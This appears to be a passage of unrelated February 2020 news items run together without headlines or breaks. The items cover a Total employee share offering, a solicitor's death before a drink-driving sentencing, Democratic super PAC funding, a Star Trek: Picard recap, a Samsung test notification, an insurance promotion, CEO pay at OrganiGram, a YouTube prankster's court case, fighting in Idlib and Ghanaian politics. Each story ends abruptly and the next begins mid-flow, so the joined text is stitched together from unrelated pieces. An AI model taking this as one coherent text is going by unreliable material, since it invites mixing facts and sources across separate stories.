related to the Company is available on its website (www.total.com) and, in particular, in its 2018 Registration Document, the French version of which was filed with the AMF on March 20, 2019 under the registration number D.19-0171. The Registration Document is also available free of charge at the head office of the Company as well as on the Company's website (www.total.com). Companies concerned and Beneficiaries of the reserved issue Approximately 100,000 beneficiaries are eligible to participate in the 2020 capital increase. Subject to compliance with regulations and required administrative approvals being obtained in the different countries, this capital increase will be reserved to employees and retirees of the Company and its French and non-French subsidiaries which capital or voting rights as of the opening date for the subscription period are directly or indirectly held at more than 50% by TOTAL S.A. (the "Subsidiaries") and that have joined the PEG-A: Employees of TOTAL S.A. and its Subsidiaries: who have at least 3 months of employment with the Total Group as of the last day of the subscription period; and Retirees of TOTAL S.A. or the Subsidiaries, provided that they: have left the Company due to retirement or early retirement; had made at least one payment in the PEG-A before termination of their employment; still have assets invested in the PEG-A, and, thus, are members of the plan. Offers The Classic Offer will be available in all countries participating in the capital increase program reserved for employees. In this offer, investment of the subscriber will track the price of the Total share; - The Capital+ Offer will be available in France and in countries where applicable legal and tax constraints permit. In this offer, the subscriber will benefit from the guarantee of their personal contribution and a minimum return or, if higher, a multiple of the protected average increase of the Reference Price; Regardless of the offer elected by the beneficiaries, employees who subscribed to the offering will benefit from a matching contribution in the form of a free allotment of additional shares, determined based on the amount of the personal contribution and within the limit of five free shares per employee (and within the maximum amount of the offering set by the Board at its meeting on September 18, 2019). In certain countries where they cannot receive the matching contribution in the form of a free allotment of additional shares, the employees, pursuant to the nineteenth resolution of the Shareholders' Meeting of June 1, 2018, will be granted free shares that will be definitely granted after the end of a 5-year vesting period. A maximum of 100,000 newly-issued shares could therefore be finally granted. Subscription terms and conditions The beneficiaries will have the opportunity to subscribe via Employee Shareholding funds ("FCPEs"). In the countries where this option is not available the shares will be directly subscribed. The FCPEs created for the needs of this offering were approved by the AMF in October 2019. Voting rights attached to shares subscribed through an FCPE will be exercised by the Supervisory Board of such FCPE. With respect to the shares subscribed directly by employees, the voting rights will be exercised by the subscribers individually. Maximum subscription Pursuant to Article L. 3332-10 of the French Labor Code, the amount of the payments made each year by an employee as part of a Savings Plan (excluding matching contribution and profit-sharing schemes, i.e., interessement and participation) cannot exceed one quarter of the employee's gross annual salary. For the Capital offer, the limit of one quarter of the employee's gross annual salary comprises the additional contribution provided by the bank. Lock-up period for the units or shares Pursuant to Article L. 3332-25 of the French Labor Code, shares or FCPE units subscribed in this offering must be held during a lock-up period of five years, with the exception of certain early release cases provided for by Articles L. 3324-10 et R. 3324-22 of the French Labor Code. For beneficiaries who are not French tax residents, the list of early release cases may be reduced due to legal provisions applicable locally. Rule for reduction of subscription requests The capital increase will be fulfilled by the total number of shares subscribed directly by employees and via the FCPEs. If the total number of subscribed shares exceeds the limit set by the Board of Directors at its meeting on September 18, 2019 (18 million shares, including additional shares of the matching contribution), the subscriptions will be cut back in the following manner: all subscription commitments up to the subscription average, defined as the quotient between the amount set aside by the Board and the number of subscribers, will be honored in full; and - subscriptions commitments that exceed the subscription average will be fulfilled in proportion to the number of subscription commitments not yet fulfilled with the reduction being made as follows: for subscriptions to both the Classic and Capital offers, the reduction will be made to each offer on a pro rata basis according to the subscription for each of the offers; and for each offer, the reduction will be made first on the portion of the offer paid for with salary advances, then on the portion paid for in cash. Hedging Operations The implementation of the Capital offer may generate hedging operations on behalf of the financial institution structuring the offer, in particular from the beginning of the period of calculation of the Reference Price and during the entire period of the offering. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005380/en/ Contacts: Total contacts Media Relations: +33 1 47 44 46 99 l presse@total.com l @TotalPress Investors Relations: +44 (0)207 719 7962 l ir@total.com A law firm director was found dead just hours before she was due in court to be sentenced for drink driving. Kay McFarlane, 34, crashed into railings outside Crosshouse Hospital near Kilmarnock, Scotland, while she was five times over the limit in July last year. Ms McFarlane, an alcoholic who was struggling with the death of her father, last month admitted that she was driving while drunk and was due to be sentenced in Ayr Sheriff Court yesterday. Kay McFarlane, 34, was found dead just hours before she was due in court to be sentenced for drink driving She faced up to a year in prison for the offense, where she caused 6,000-worth of damage to her car. But the director of Mair Matheson Solicitors - who was described by friends as 'fun, beautiful and vivacious' - was discovered dead on Wednesday. Ms McFarlane was driving so recklessly prior to the accident that another driver had to do an emergency stop. When she was taken to a police station after the crash, it was discovered that she had 279mg of alcohol in 100ml of blood. The legal limit is 50mg. A source told The Daily Record: 'She was a very capable and confident young solicitor, doing well professionally, and running her own firm. Ms McFarlane, an alcoholic who was struggling with the death of her father, last month admitted that she was driving while drunk and was due to be sentenced in Ayr Sheriff Court (pictured) yesterday 'Its utterly, utterly tragic, 34 is no age at all.' Another source said: 'What a poor girl. She was talented but had a lot of issues to overcome.' Her defence solicitor Simon Brown previously told the court that 'significant steps' had been taken by Ms McFarlane to curb her drinking but she had relapsed when the offense was committed. She was able to keep her job at the law firm where she is joint director. Ms McFarlane was also due to be assessed on whether a restriction of liberty order would be necessary. This would see her unable to leave her home at night for a certain stretch of time, and she would have to wear an electronic tag. In a tribute, Ms McFarlane's friend Babs Pearson wrote: 'Last night we lost an extremely popular, talented, fun, beautiful, vivacious young lady at just 35 years old. 'RIP Kay McFarlane, God rest your soul.' WASHINGTON Many Democratic presidential candidates launched their campaigns last year with bold pledges to reject help from super PACs and dark money groups. But as the realities of a tough primary fight sink in, those promises are fading away. Elizabeth Warren, one of the fiercest critics of money in politics, was the latest White House hopeful this week to accept help from a big money organization that can raise and spend unlimited amounts on behalf of political candidates. Former Vice President Joe Biden, Minnesota Sen. Amy Klobuchar and Bernie Sanders have done much the same. The Democratic battle to take on President Donald Trump is entering a critical new phase as more than a dozen states vote within the next couple of weeks with about one third of the delegates needed to win the nomination at stake. Campaign finance disclosures made to the Federal Election Commission on Thursday offered the clearest look yet at who will have the resources to forge on deep into the calendar and who will be forced to soon reckon with the sustainability of their candidacy. The disclosures include campaign spending and fundraising details for the month of January and laid bare the stark financial choices ahead for those other than former New York Mayor Michael Bloomberg and Sanders. Bloomberg, a billionaire, has plunged over $400 million into his campaign, while Sanders is propelled by an army of contributors whose renewable stream of small online contributions helped him amass $25 million in January alone. Our campaign has built a nationwide organization that is engaging voters daily, said Bloomberg campaign manager Kevin Sheekey. With over 2,400 staff across 43 states today, Mike is the only candidate with the record and resources to build the national infrastructure Democrats need to beat Donald Trump. In contrast, Warren raised $10.4 million, held just $2.2 million in reserve at the months end and took out a $400,000 line of credit. Since then, in the month of February her campaign said she has since raised $17 million, some of it after a spirited debate performance Wednesday night Former Vice President Joe Biden raised $8.8 million in January and had $7.1 million in the bank. And Minnesota Sen. Amy Klobuchar had $2.8 million on hand, though she has raised more than $6 million since a breakout debate performance before the New Hampshire primary. Even Pete Buttigieg, the former mayor of South Bend, Indiana, whose improbable rise to prominence was fueled in part by his massive fundraising success earlier in the contest reported taking in a lackluster $6 million in January. He also had just $6.6 million cash on hand after burning through $14.1 million that month. His campaign says he has since taken in another $11 million, but has not said how much of that he has spent. That gives Sanders and Bloomberg an overwhelming advantage heading into Super Tuesday on March 3, when more than a dozen states will hold contests. Party leaders have long worried that Sanders, a democratic socialist, would lose to Trump because of his embrace of left wing politics. Now, after a neck-and-neck showing against Buttigieg in Iowa, followed by a win in New Hampshire, hes the one best poised to capture nomination. Bloomberg, with his limitless resources, has emerged as a centrist candidate who has the money to compete with Sanders. But after a widely-panned debate performance on Wednesday where he was eviscerated by Warren, some are doubting that possibility, too. Many now rue that early days of the primary were dominated by pledges of the sources of money campaigns would reject rather than building a fundraising network to compete with Trump. Along with the Republican National Committee, he has raised more than $525 million for his reelection effort since the start of 2019. It was a huge mistake to try to adhere to this level of financial purity. The only person who can do it is Bernie Sanders no one else can. Barack Obama couldnt, Hillary Clinton couldnt and Donald Trump cant, said Rufus Gifford a prominent Democratic fundraiser who held high-level posts in both of Obamas campaigns. That will be the lesson of this primary especially if Bernie Sanders wins. Warren, a Massachusetts senator, was a notable addition on Thursday to the ranks of people acquiescing to help from a super PAC, which are prohibited from coordinate spending decisions with candidates they support. It cant be the case that a bunch of people keep them and only one or two dont, she said while campaigning in Nevada. On Wednesday, the group Persist PAC announced it would spend more than $1 million on advertising supporting her. While we respect their views and agree on the need for campaign finance reform, we believe this election is too important and we want to do what we can within the bounds of existing law to support them, said Christina Reynolds, vice president of the group EMILYs List, which contributed $250,000 to the group, as well as another called Kitchen Table Conversations PAC that is supporting Klobuchar. In the past, Warren and her allies sought to pressure rivals to reject their support. She sharply criticized Biden for reversing his super PAC pledge in November. The group backing him, Unite the Country, has spent $7.2 million on his behalf. Her campaign also targeted Buttigieg, who is backed by VoteVets, an organization that operates both a super PAC. The group, which backs veterans running for office, like Buttigeig, has spent over $630,000 on ads supporting him in Nevada, which will hold its caucuses on Saturday. Even Sanders, who has railed for years against super PACs and nonprofit dark money groups, has relied on them for help. Hes supported by Our Revolution and a handful of other nonprofits, which function much the same as super PACs but not have to disclose their donors and will not have to report the financial activity to the IRS until after the election. He founded Our Revolution after his 2016 loss to Hillary Clinton, which has taken in nearly $1 million, according to tax filings for 2016, 2017 and 2018. Much of it came from those who contributed six-figure sums. During the 2016 election he also benefited from ad spending by National Nurses United super PAC. Warren said her reversal was prompted, in part, by Bloomberg and fellow billionaire Tom Steyer. They have the equivalent of a super PAC its known as their sock drawer, she said during a CNN townhall Thursday. ___ Associated Press writer Sara Burnett in Chicago contributed to this report. Click here to read the full article. Oh Dr. Jurati, how well hidden you were! Its a testament to the skill of the Star Trek: Picard team how little we saw this twist coming even, though, with hindsight it was totally set up. And particularly well set up in this episode, Stardust City Rag, thanks to its writer, Kirsten Beyer (look for an interview with her at IndieWire tomorrow), a longtime Trek vet who cut her teeth on a series of Star Trek: Voyager novels before working as a staff writer on Discovery and co-executive producer on Picard. More from IndieWire That Agnes Jurati was a spy planted by Starfleet Intelligences Commodore Oh makes total sense. The last we saw Oh she was talking to Agnes on Okinawi and wanting to know all about why Picard had taken such an interest in her. That scene ended quickly, and next thing we know Agnes shows up at Chateau Picard wanting to join his crew and saying that Oh is after her. Or is it that she was so spooked by whatever it is Oh showed her regarding Sojis destiny that she showed up to join Picards crew to do Ohs bidding? Clearly the latter. And Bruce Maddox suffered his demise on account of it. Which is kind of brilliant. Weve been hearing the name Bruce Maddox repeated over and over in the first four episodes like somehow the villain turned good guy in The Measure of a Man had really left that much impact that we would be eagerly awaiting his return 31 years later. Instead hes killed off right away. But were getting ahead of ourselves. A shocking act of violence ended Stardust City Rag and an even more shocking act of violence opened it. The beginning of this episode was horrifying. At least since the episode Conspiracy from Season 1 of Next Gen banned in the U.K. for an admirals exploding head among other frightful moments we have never seen violence like this in Star Trek. Even that image of Picard having the Borg needle inserted in his eye at the beginning of Star Trek: First Contact cuts away just in time. Even the Borg Queen carrying around the severed head of a renegade drone in Unimatrix Zero was tempered by the goofiness of her saying Disembodiment is the ultimate perfection. Story continues But Stardust City Rag opened with violence to rival the Hostel movies. Thirteen years before the main events of Picard, Icheb, the former Borg Drone whom Seven helped regain his individuality in the last two seasons of Voyager becoming like a son to her is being torn apart on an operating table. Fully conscious, no sedative or anesthetic. Hes being ripped open by a chop doc who wants to sell his Borg parts on the black market. A whirring drill approaches his eye socket, and then a horrible extraction device removes his eyeball or rather, Im hoping the artificial eye he received following his initial transition out of the Collective. Borg, when theyre assimilated, typically have an eye removed in favor of an ocular implant that can see further. Thats likely what were seeing here: but the optics sorry is that youre seeing a poor guy get an eyeball pulled out. This is ghastly, and beyond anything Trek has ever presented and surely only possible because this is show is a first-run on streaming. But if its extreme gore, it does have a purpose: to show how Seven of Nine goes from by-the-book Starfleet wannabe at the end of Voyager to trigger-happy vigilante in Picard. Icheb dies, obviously. Or would have, anyway, if Seven hadnt come a little too late to his rescue and put him out of his misery with a phaser blast. And ever since, shes been tracking down who ordered him ripped apart. Back in the present, we finally meet Bruce Maddox (John Ales, not Brian Brophy as in The Measure of a Man but looking pretty much exactly as wed expect that character to look more than three decades later). The TalShiar have raided his lab, and hes come to tell the crime lord Bjayzl, who slinks around in a form-fitting onesie, that he cant pay her back as a result. Mind that tranya, Bruce! Its laced with a sedative so Bjayzl can just turn you over to the TalShiar herself. When Seven finds herself fully functional again on La Sirena, she proves unexpectedly eager to help trade with Bjayzl for Bruce Maddox. Shes been working for the Fenris Rangers to help keep the peace and curb piracy in and around the area that used to be the Neutral Zone following the collapse of the Romulan empire. The Federation has certainly washed its hands of any responsibility. Theres a nice moment when Raffi tells Rios about Seven: The ex-Borg Ranger from the Delta Quadrant. The way Rios says Delta Quadrant makes it seem like its still really remote certainly doesnt sound like the Federation has made any effort to follow-up on the exploration that Janeway and Seven did there, like in Kirsten Beyers Voyager novels. In her books, the Federation put together the Full Circle Fleet to go back to the Delta Quadrant and follow up on a lot of the missions first-contact missions especially that Voyager had undertaken while they were stranded there (and try to repair some of the catastrophic damage Voyager left in its wake). None of that was canon so to speak, and Beyer confirms in her interview running tomorrow that the events of her novels have not actually taken place in the same reality of Star Trek: Picard. Here, Starfleets days of exploration are behind it. With the prospect of getting Maddox back at hand, Agnes lovingly watches a holo of the two of them making cookies together. She clearly loves him, they had a relationship. And watching it she breaks down in tears: not because she misses him, but, with hindsight, because she knows what she has to do. Arriving at Freecloud, each member of La Sirena (except poor Elnor) gets a targeted holo ad. How do these ads do this? Does it read their minds? Each can be dismissed with a flick of a finger or a wave of a hand. For the fighting robot company thats advertising its gladiatorial combat to Agnes, she has to punch it punch it so hard its headll come off. And she doesnt want to do it! I dont hit things! she says. But again, this striking aversion to violence is because she knows what she has to do in short order. Seven comes up with a plan: trade herself to Bjayzl for Maddox. She knows shell be the ultimate prize to anyone hungry for Borg parts, but conveniently elides, for Picard & Co., that it will also enable her to exact some revenge for Icheb Maddox be damned. Stardust City is a turn of the 25th Century Pleasure Island, and a fantastic piece of worldbuilding, though that appearance of a giant, writhing holographic Orion woman is yet another reason why you should check out Emily Yoshidas peerless Do Androids Dream of Colossal Women? essay from a couple years back. Rios gets into the pleasure-dome vibe by wearing a flamboyant 70s-style ensemble that might be a little too garish for Boogie Nights. He at least wears it with some cool, unlike Picard whos acting skills appear to have withered after years away from a holodeck, as he adopts a cartoonish French accent (being French and living in France, couldnt he adopt, like, a real French accent?) and eyepatch. At least Rios reputation precedes him, as he apparently satisfied a Mr. Quark of Ferenginar (woot!) for the handling of his trouble with the Breen (double woot!). Tangent: Oh, man. As excited as I am to catch up with other Next Gen characters I cannot wait to find out what other Voyager and Deep Space Nine characters are up to. Did Sisko ever return from the Celestial Temple? Is Rom still Grand Nagus? Did Nog become a Starfleet captain? (RIP Aron Eisenberg.) Why wasnt it Jake Sisko who was the journalist conducting that interview with Picard in the first episode of this show? Greenlight Deep Space Nine Season 8, you cowards! End tangent. Cartoonish Frenchman Picard presents Seven to Bjayzl. She was a jeune fille, so youll have to dice her up to get them out he says to the lady of crime about extracting those Borg implants. Bjayzls ahead of Picard: she knew Seven and even calls her by her birth name, Annika. Are you still angry because I carved up your little friend for parts? Or because you trusted me? Bjayzl asks. She double crosses Picard by having her guards point phasers at them. Then Seven triple crosses her by breaking her binders and putting her hands around her throat. Its then Seven reveals shes always regretted that Bjayzl only knew about Icheb because of her. The gangster staged a fake distress call to lure the U.S.S. Coleman into her clutches, where she could capture its science officer: Icheb. Tangent (because thats all it is in this episode): Ugh, now we learn why Raffi wanted to come here to Freecloud. Her sons been living here. And their relationship has been strained because everyone thought she was crazy in light of her theory about the synth attack on Utopia Planitia being an inside job. Oh yeah, and then she turned to drugs. She wasnt there for him when he was growing. Sob story. They dont reconcile. She returns to the ship. End tangent. Bjayzl needs to work on her crime lord skills because she forgot to keep track of Rios. He phaser-blasts her reptilian henchman Vup, so she offers another trade: Maddox for her life. Seven agrees, and a very nervous Agnes stands by to beam them all up. Again, shes not nervous because she thinks she will lack the skills of Chief OBrien in working a transporter, but about whatll happen after that. Once they all get back on La Sirena, Seven and Picard have a fantastic exchange. Do you feel you regained your humanity? Seven asks him about life after the Borg. Yes. All of it? No. But were both working on it, arent we? Every damn day of my life. That is some good writing. And then Seven shows her idea of regaining her humanity is getting some bloody satisfaction for a wronged loved one and beams back down to Bjayzl for a little disintegration as payback. In her own way it seems like Agnes is fighting for humanity as well when she kills Maddox to close out Stardust City Rag. I wish you know what I know, she said, while pulling the plug on his life support as he appears to suffocate to death. I wish I didnt know what I know. I wish they hadnt shown me. Im so sorry. Commodore Oh must have shown her something really damning about Soji. Enough to convince her to kill the person she loves and turn her back on a lifetime of work, since Maddox credited Agnes as well for creating Dahj and Soji. What it all means is still to be seen, but consider us hooked. Grade: A- Best of IndieWire Sign up for Indiewire's Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. One of the creepiest and mysterious notification was sent out to Samsung Galaxy phone users that basically read 1 with another 1 right below it. The notification was spotted by countless users and screenshots were shared all over Twitter. Samsung responded to the notification saying it was unintentionally set during an internal test. MENSXP We received the same notification on the Galaxy Note 10+, Galaxy A51 and the Galaxy S10 Lite proving that it was not an isolated event. The notification came from Samsungs Find My Mobile service that allows users to track and remotely locate their smartphones and other devices. It is also used to store data on devices linked to Samsung Cloud, delete local data and block access to Samsung Pay. Many users were worried about the notification assuming it was an attempt to hack their phones. Anyone else get that find my mobile push notification that just about gave me a heart attack? Jesus christ Samsung Josh Broom (@BroomDoom) February 20, 2020 Aw shit I got this weird "find my mobile" notif and my dumb ass clicked on it and nothing happened but I'm lowkey creeped out now Heaven's lust (@SusetheViktoria) February 20, 2020 Accidental notifications are not a new thing as OnePlus also recently sent out a weird notification that contained Chinese characters. It was a failed internal test for software update, but it freaked out many OnePlus users at the time. MENSXP/akshhay bhalla Some users also complained that the Find My Mobile app also drained considerable battery after the notification appeared, however Samsung has not addressed that issue yet. As of now, you do not need to change your passwords or reset your phone as it was probably just an internal test for one of Samsungs cloud features. Lowering car insurance costs is not as difficult as may first seem. But you must play your cards smart and negotiate for every discount you may get, said Russell Rabichev, Marketing Director of Internet Marketing Company. Car insurance is a necessity for any driver. Besides ensuring financial protection, the insurance provider will also offer legal defense and counseling. However, this service does not come cheap and, in many cases, it is really expensive. Drivers should check the following tips for lowering car insurance costs. Also, get free quotes from https://compare-autoinsurance.org/ and compare prices. Look for discounts. The auto insurance market provides a high number of discounts. However, each company grants them after meeting certain demands. Ask the current carrier for a list of discounts and check for how many the requirements are met. The most common discounts include affinity discount, no-claims discount, safety gear discount, and low-mileage discount. Improve credit score. Having an Excellent FICO credit score will also increase the insurability score. Companies place more trust in people who have proven that they can manage their payments. Ask for credit score reports first and check if everything is fine. If things are not that bright, look for ways of repairing the score, like using balance transfer credit cards. Bundle policies and plans under the same contract. In many cases, signing for home and auto insurance with the same company will help drivers get a generous discount. Also, providing coverage for multiple vehicles from the same company will also grant access to a discount. Compare-autoinsurance.org is an online provider of life, home, health, and auto insurance quotes. This website is unique because it does not simply stick to one kind of insurance provider, but brings the clients the best deals from many different online insurance carriers. In this way, clients have access to offers from multiple carriers all in one place: this website. On this site, customers have access to quotes for insurance plans from various agencies, such as local or nationwide agencies, brand names insurance companies, etc. For more information and money-saving tips, please visit https://compare-autoinsurance.org/. The Patagonia Black Hole Duffel is a favorite of three of our travelers National Geographic photographer Steve Winter and Stephanie Be, the creator of blog TravelBreak and travel app Buena, and Candice Criscione, whos behind the blog Mom in Italy. Be, who says the bag is ideal for an outdoor enthusiast, likes that it transforms from a duffel bag into a backpack with padded shoulder straps, a feature she says is especially convenient if your weekend plans include hiking, because wearing it on your back distributes the weight nicely. Winter agrees that its great for weekends because the bag is weather- and waterproof and incredibly lightweight. He adds that Black Holes are great for longer trips, too. (On one work trip to Brazil for National Geographic, Winter told us he checked 41 bags all Patagonia Black Holes.) He also appreciates that the brand stands behind its products even if you purchase them from other retailers: Anything youre dissatisfied with, you can return, and they also donate money to terrific environmental causes. Criscione bought it for a Shanghai-to-Istanbul bicycling trip almost a decade ago. It endured the four-and-a-half-month trip and others that have followed. Because its soft-sided, you can easily squish it into overhead compartments or awkward trunk spaces, she says. (The Black Hole duffel, not surprisingly, also made our list of the best duffel bags for travel, according to frequent travelers). Greg Engel has been the CEO of OrganiGram Holdings Inc. (TSE:OGI) since 2017. First, this article will compare CEO compensation with compensation at similar sized companies. Then we'll look at a snap shot of the business growth. And finally we will reflect on how common stockholders have fared in the last few years, as a secondary measure of performance. The aim of all this is to consider the appropriateness of CEO pay levels. Check out our latest analysis for OrganiGram Holdings How Does Greg Engel's Compensation Compare With Similar Sized Companies? According to our data, OrganiGram Holdings Inc. has a market capitalization of CA$585m, and paid its CEO total annual compensation worth CA$1.1m over the year to August 2019. That's a notable increase of 68% on last year. We think total compensation is more important but we note that the CEO salary is lower, at CA$299k. We further remind readers that the CEO may face performance requirements to receive the non-salary part of the total compensation. We looked at a group of companies with market capitalizations from CA$265m to CA$1.1b, and the median CEO total compensation was CA$1.3m. That means Greg Engel receives fairly typical remuneration for the CEO of a company that size. This doesn't tell us a whole lot on its own, but looking at the performance of the actual business will give us useful context. You can see, below, how CEO compensation at OrganiGram Holdings has changed over time. TSX:OGI CEO Compensation, February 20th 2020 Is OrganiGram Holdings Inc. Growing? On average over the last three years, OrganiGram Holdings Inc. has grown earnings per share (EPS) by 34% each year (using a line of best fit). In the last year, its revenue is up 314%. This shows that the company has improved itself over the last few years. Good news for shareholders. The combination of strong revenue growth with medium-term earnings per share improvement certainly points to the kind of growth I like to see. You might want to check this free visual report on analyst forecasts for future earnings. Story continues Has OrganiGram Holdings Inc. Been A Good Investment? With a total shareholder return of 32% over three years, OrganiGram Holdings Inc. shareholders would, in general, be reasonably content. But they would probably prefer not to see CEO compensation far in excess of the median. In Summary... Greg Engel is paid around the same as most CEOs of similar size companies. Shareholder returns could be better but shareholders would be pleased with the positive EPS growth. So upon reflection one could argue that the CEO pay is quite reasonable. So you may want to check if insiders are buying OrganiGram Holdings shares with their own money (free access). Arguably, business quality is much more important than CEO compensation levels. So check out this free list of interesting companies, that have HIGH return on equity and low debt. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. A YouTube prankster who is charged over filling up a car with water and driving it to a bottle shop has made a bizarre stand outside of court. Michael Alexander Philippou, 27, and his twin brother Danny uploaded the 'scuba driving' video to their YouTube channel RackaRacka, which has six million subscribers, during a heat wave in Adelaide in January 2019. Phillippou, along with an entourage of friends, spoke to a supporter dressed as Batman and a shirtless fan with 'innocent' painted on his chest outside of Christies Beach Magistrates Court on Friday. His brother Danny and another friend filmed Phillippou's antics outside of court, presumably for another YouTube video for their six million followers. In court, the police prosecutor said more evidence was needed to prove Phillippou had driven in a reckless manner, meaning they may have to recreate the prank. Michael Alexander Philippou, 27, is charged over filling up his car with water and driving it to a bottle shop. He and his entourage of friends created some bizarre scenes outside of court of Christies Beach Magistrates Court on Friday Michael Alexander Philippou, 27, and his twin brother Danny uploaded the 'scuba driving' video to their YouTube channel RackaRacka, which has six million subscribers, during a heat wave in Adelaide in January 2019 Phillippou and his twin brother Danny (right) spoke to TV reporters outside of court. Danny joked that SA Police could ironically use taxpayer's money to recreate the prank Phillippou is charged with dangerous driving, driving an unregistered vehicle and failing to wear a seatbelt. When asked about the charges, the prankster told the ABC: 'I was possessed by the devil, there's nothing I can do about it. 'If [police] are going to make an underwater car, we've got an underwater car, maybe we can have an underwater car race and see who gets to the bottle shop first.' Meanwhile, Phillippou's twin brother Danny joked that SA Police could ironically use taxpayer's money to recreate the prank. Arriving at court, the Phillippou twins and their entourage happily skipped to the entrance for the hearing. He was joined by the Batman-costumed supporter, who pretended to attack him, and the shirtless supporter as he walked back to his car after the hearing. Phillippou was joined by the Batman-costumed supporter, who pretended to attack him as he walked back to his car after the hearing A shirtless fan with 'innocent' painted on his chest also joined Phillippou outside of court Phillippou speaks to the Dark Knight. He is charged with dangerous driving, driving an unregistered vehicle and failing to wear a seatbelt During Friday's hearing, the court heard SA Police may have to fill another car's interior compartment with water to prove Phillippou drove in a reckless or dangerous manner without due care. Once the car is filled, an expert would have to test drive it to see how the water affects the vehicle's handling and visibility of the road. Phillippou's lawyer said his client's bail made need to be amended so he can film a number of movies in the US before the case was adjourned to April. The twin brothers created the RackaRacka YouTube channel in 2013 and have amassed more than 900 million views across 167 videos and six million subscribers. While Ankara continues to send its military reinforcements to Idlib, with long convoys of artillery, tanks and personnel carriers crossing the border daily, Syrian regime forces have managed to make important strategic progress that has eluded them over the past years. On Feb. 16, regime forces seized major opposition strongholds located in a large area north and west of the city of Aleppo, which includes around 15 cities and towns most notably, Hraytan, Anadan and Kafr Hamra. The regime also captured the last remaining opposition strongholds in the city of Aleppo, including al-Yarmoun, al-Rashideen 4th Sector and parts of Al-Zahra Association Quarter. These changes in the military control map made the closest opposition point to the city of Aleppo 20 kilometers (12 miles) away. This pushed the regime's supporters to take to the streets Feb. 17 to celebrate securing Aleppo. On the other hand, the opposition was dealt a heavy blow after losing its main strongholds north and west of the city of Aleppo. These areas had remained under its control since 2012, and it saw them as a cornerstone for its stay there. The opposition fortified its last remaining parts in Aleppo city, namely al-Yarmoun and Dahra Abd Rabouh, with a network of trenches, tunnels and barricades. This turned any attempt to attack it from the front into a suicide mission. But opposition fighters found themselves forced to withdraw after they were trapped in an area surrounded on three sides by regime forces. In order for the opposition to compensate for some of its losses, the Syrian National Army of the Free Syrian Army launched on Feb. 20 an attack on sites where regime forces advanced east of Idlib in an attempt to retake the town of Nayrab, 9 kilometers (5 miles) from Idlib. Turkish artillery and missile launchers violently paved the way for the attack, which led to the destruction of a number of armored vehicles of the Syrian regime. But the opposition failed to keep its positions or make tangible advances, especially after Russian aircraft destroyed an opposition tank, six infantry vehicles and five pickup trucks. As the attack raged on, the Turkish Ministry of Defense announced Feb. 20 that two of its soldiers were killed and five others wounded in an airstrike in Idlib. This brought the number of Turkish soldiers killed by the Syrian regime shelling to 15, in three separate incidents, which could further complicate the situation and push Ankara toward further escalation. Whatever agreement might be reached by Ankara and Moscow to resume a cease-fire in the fourth de-escalation zone, it does not appear that the Syrian regime would give up the strategic gains its forces have achieved in the city of Aleppo and in its northern and western suburbs even if Ankara turns to the military option. The fourth de-escalation zone mainly includes Idlib province and parts of the countryside surrounding the provinces of Aleppo, Hama and Latakia. A cease-fire was imposed in this zone after the signing of the Sochi Agreement between Ankara and Moscow Sept. 17, 2018. Under this agreement, Turkey set up 12 observation points in the vicinity of the de-escalation zone, but the Syrian regime repeatedly violated the cease-fire and launched three ground attacks at intermittent periods. It claimed Ankara failed to fulfill its obligations under the agreement, which is to create a buffer zone at a depth of 15 to 20 kilometers (9 to 12 miles), free of heavy opposition weapons and terrorist groups. Meanwhile, Syrian President Bashar al-Assad described his army's progress in the Aleppo area as a victory. In a televised speech on Feb. 17, he said the battle in the countryside of Aleppo and Idlib will continue regardless of some empty sound bubbles coming from the north. Assad was referring to the Turkish threats. For his part, Turkish President Recep Tayyip Erdogan gave the Syrian regime what he described as the final warning. In a speech at the parliamentary group meeting of his ruling Justice and Development Party in Ankara, he asserted that his country has made all preparations to carry out its own operation plans in Idlib and said this military operation was just a matter of time. He noted that talks with Russian officials on ending the bloodshed in Idlib had failed to produce results. Erdogan asserted that talks will continue, however, adding, But we are far from meeting our demands at the table." The differences between Ankara and Moscow over Idlib appear to be so deep that two rounds of negotiations have failed, each lasting for two days. The first was held in Ankara on Feb. 8, and the second in Moscow on Feb. 17. On Feb. 18, Turkish presidential spokesperson Ibrahim Kalin said at a press conference in Ankara that returning to the Sochi deal is the baseline of Turkey's policy for Idlib," adding that Turkey had rejected documents and maps proposed by Russia. Moscow is trying to draw a new agreement according to the current field data and without surrendering the gains that the Syrian regime has achieved in its attacks on the fourth de-escalation zone. Since the beginning of the last attack on Jan. 16, the regime has regained control of an area of 1,500 kilometers (932 miles), displacing 900,000 people to the rest of the opposition-held lands, according to the United Nations. In a parallel development, Ankara insists Syrian regime forces withdraw beyond the Turkish observation points; otherwise, the Turkish army will launch its offensive at the end of February, the deadline set by Erdogan. According to the current map of control, 13 Turkish military points are now located in regime-controlled territories. Turkish observation points play a major role in pressuring Moscow and belittling the importance of the strategic gains that the Syrian regime achieved in its attack on the de-escalation zone. Although regime forces managed Feb. 11 to control the international highway between Aleppo and Damascus, known as the M5 highway, Turkish forces stationed at the Maar Hattat point 8 kilometers (4 miles) south of the city of Maarat al-Numan blocked this highway. A video report by Russia-24 Feb. 14 showed Turkish soldiers standing in front of roadblocks on the M5 highway, which appeared to be empty. But the channel's correspondent said that according to the current situation, only Russian vehicles can pass through the highway. The M5 highway is of strategic importance, as it represents an economic lifeline for Syria, especially as it connects the capital, Damascus, with the economic capital of the country, Aleppo. It also passes through the centers of Homs and Hama provinces. President Akufo-Addo has taken a swipe at former President John Dramani Mahama, describing him as someone who wants to return to power to reverse the countrys progress. He said the period of John Mahamas government saw very little progress in the country. Addressing a gathering of party supporters after filing his nominations to contest as flagbearer for the party into election 2020, President Akufo-Addo said John Mahama must not be given the chance to return to government. Someone said the work he started is uncompleted and so he wants to come back and continue. Let's ask Ghanaians, what work did he do? During his time, everything was in reverse. He is coming back to take us backwards but no, we will go forward and not backwards We will not make that mistake, he said. President Akufo-Addo said John Mahama, who is the flagbearer of the NDC, has no campaign message as he has only resorted to opposing every plan of his government. To date, we've not heard any policy from him. 7th December, we will go with our strength and unity to do more than what we did in the 2016 elections. You are the hope of Ghanaians. My plea is simple, help me so that Ghanaians can get 4More 4Nana, 4More to do More, he added. President Akufo-Addo is contesting the New Patriotic Partys (NPP) presidential primaries unopposed and will only need a confirmation from the partys delegates for his second term bid. John Mahama of the NDC is seeking a comeback 